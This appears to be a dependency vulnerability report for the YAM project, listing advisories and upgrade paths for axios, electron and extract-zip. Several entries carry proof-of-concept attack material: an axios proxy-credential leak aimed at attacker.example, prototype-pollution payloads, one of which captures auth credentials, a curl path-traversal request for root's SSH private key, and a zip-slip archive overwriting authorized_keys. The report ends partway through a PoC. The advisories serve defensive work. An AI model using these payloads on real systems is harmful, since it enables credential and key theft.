Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.
Note:
This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().
PoC
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.30.3, 1.13.5 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in v8.
Remediation
Upgrade electron to version 33.4.6, 34.3.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to External Control of Assumed-Immutable Web Parameter via a crafted HTML page. An attacker can perform an out of bounds memory write by sending a specially crafted HTML content.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Hidden Functionality via the commandLineSwitches webPreference. An attacker can inject arbitrary command-line switches into the renderer process by supplying untrusted configuration objects, potentially disabling security controls or sandboxing.
Note:
This is only exploitable if external or untrusted input is used to construct webPreferences without an explicit allowlist.
Workaround
This vulnerability can be mitigated by not spreading untrusted input into webPreferences and by using an explicit allowlist of permitted preference keys when constructing options from external configuration.
Remediation
Upgrade electron to version 38.8.6, 39.8.0, 40.7.0, 41.0.0-beta.8 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Incorrect Calculation of Buffer Size via insufficient validation of untrusted input in ANGLE and GPU. An attacker can escape the sandbox by submitting a specially crafted HTML page.
Remediation
Upgrade electron to version 37.2.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Write via a crafted HTML page. An attacker can execute arbitrary code inside a sandbox by crafting a malicious HTML page.
Remediation
Upgrade electron to version 31.7.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Write through a crafted HTML page. An attacker can execute arbitrary code inside a sandbox by crafting malicious HTML content.
Remediation
Upgrade electron to version 32.3.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Write via a crafted HTML page. An attacker can potentially exploit heap corruption by sending a specially crafted HTML page to the victim.
Remediation
Upgrade electron to version 32.3.2, 33.4.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Write through crafted HTML pages. An attacker can exploit heap corruption by sending a specially crafted HTML page to the victim.
Remediation
Upgrade electron to version 32.3.2, 33.4.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion in v8 engine.
Remediation
Upgrade electron to version 32.3.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via MediaStreamTrackImpl. An attacker can cause heap corruption by enticing a user to visit a specially crafted HTML page.
Remediation
Upgrade electron to version 37.2.6 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Dawn component.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Swiftshader process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.5, 30.2.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.5, 30.2.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free due to the improper handling of memory in the Dawn component. An attacker can cause heap corruption and potentially execute arbitrary code by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.5, 30.2.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.5, 30.2.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 30.4.0, 31.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Loader component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 30.4.0, 31.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the WebAudio process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Serial process. An attacker can potentially exploit heap corruption.
Remediation
Upgrade electron to version 31.7.5, 32.2.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Compositing process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 31.7.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the V8 engine. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 33.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the V8 engine.
Remediation
Upgrade electron to version 32.3.3, 33.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via lack of support for escapes in PreParserIdentifier V8` process. An attacker can achieve heap corruption by enticing a user to visit a specially crafted HTML page.
Remediation
Upgrade electron to version 37.2.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the WebRTC component.
Remediation
Upgrade electron to version 17.4.11, 18.3.6 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the V8 engine. An attacker can corrupt memory and potentially execute arbitrary code by crafting a malicious HTML page.
Note: This is only exploitable if the user navigates to or is redirected to a malicious web page.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-Bounds when the V8 engine processes a carefully crafted HTML page. An attacker can perform an out of bounds memory read, thereby potentially gaining unauthorized access to sensitive information.
Remediation
Upgrade electron to version 22.3.23, 24.8.2, 25.8.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-Bounds memory access in V8 component. This vulnerability allowed a remote attacker to perform arbitrary read/write via a crafted HTML page.
Remediation
Upgrade electron to version 27.3.10, 28.3.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read through the V8 engine. An attacker can access memory locations outside of the intended bounds by crafting a malicious HTML page.
Note: This is only exploitable if the user navigates to or is redirected to a malicious web page.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Write allowing a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Note: The Stable channel has been updated to 120.0.6099.234 for Mac devices.
Remediation
Upgrade electron to version 26.6.6, 27.2.3, 28.1.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Write in Dawn.
Remediation
Upgrade electron to version 31.7.4, 32.2.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion in InferHasInPrototypeChain of the V8 engine.
Remediation
Upgrade electron to version 31.7.1, 32.2.1 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion via the V8 engine.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via improper handling of possible socket destruction in P2PSocketTcpBase. An attacker can achieve heap corruption and potentially execute arbitrary code by enticing a user to visit a specially crafted HTML page.
Remediation
Upgrade electron to version 37.2.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Mojo runtime libraries collection. This allows an attacker to exploit heap corruption via a crafted HTML page.
Remediation
Upgrade electron to version 27.3.4, 28.2.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Audio process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Navigation process. An attacker can exploit heap corruption by convincing a user to install a malicious extension.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via specific UI gestures in the Screen Capture feature. An attacker can potentially exploit heap corruption by convincing a user to visit a crafted HTML page.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Media Stream process. An attacker can potentially exploit heap corruption by convincing a user to perform specific UI gestures on a crafted HTML page.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
high severity
new
- Vulnerable module: extract-zip
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7 › extract-zip@1.7.0
Overview
extract-zip is an unzip a zip file into a directory using 100% javascript
Affected versions of this package are vulnerable to Directory Traversal via the extraction process. An attacker can access or modify arbitrary files by crafting a malicious zip archive containing symlinks that point outside the intended extraction directory.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
There is no fixed version for extract-zip.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Access Control via nested unserializable return value when using contextIsolation and contextBridge are affected.
Exploiting this vulnerability allows code running in the main world context in the renderer to reach into the isolated Electron context and perform privileged actions.
Note
This issue is exploitable under either of two conditions:
If an API exposed to the main world via
contextBridgecan return an object or array that contains a JS object that cannot be serialized, such as a canvas rendering context. This would normally result in anError: object could not be clonedexception being thrown.If an API exposed to the main world via
contextBridgehas a return value that throws a user-generated exception while being sent over the bridge, such as a dynamic getter property on an object that throws an error when being computed.
Workaround
The app-side workaround is to ensure that such a case, as mentioned in the workaround section, is not possible.
Ensure all values returned from a function exposed over the context bridge are supported and that any objects returned from functions do not have dynamic getters that can throw exceptions.
Auditing your exposed API is likely to be quite difficult, so we strongly recommend you update to a patched version of Electron.
Remediation
Upgrade electron to version 23.2.3, 25.0.0-alpha.2 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.
Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.
PoC
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
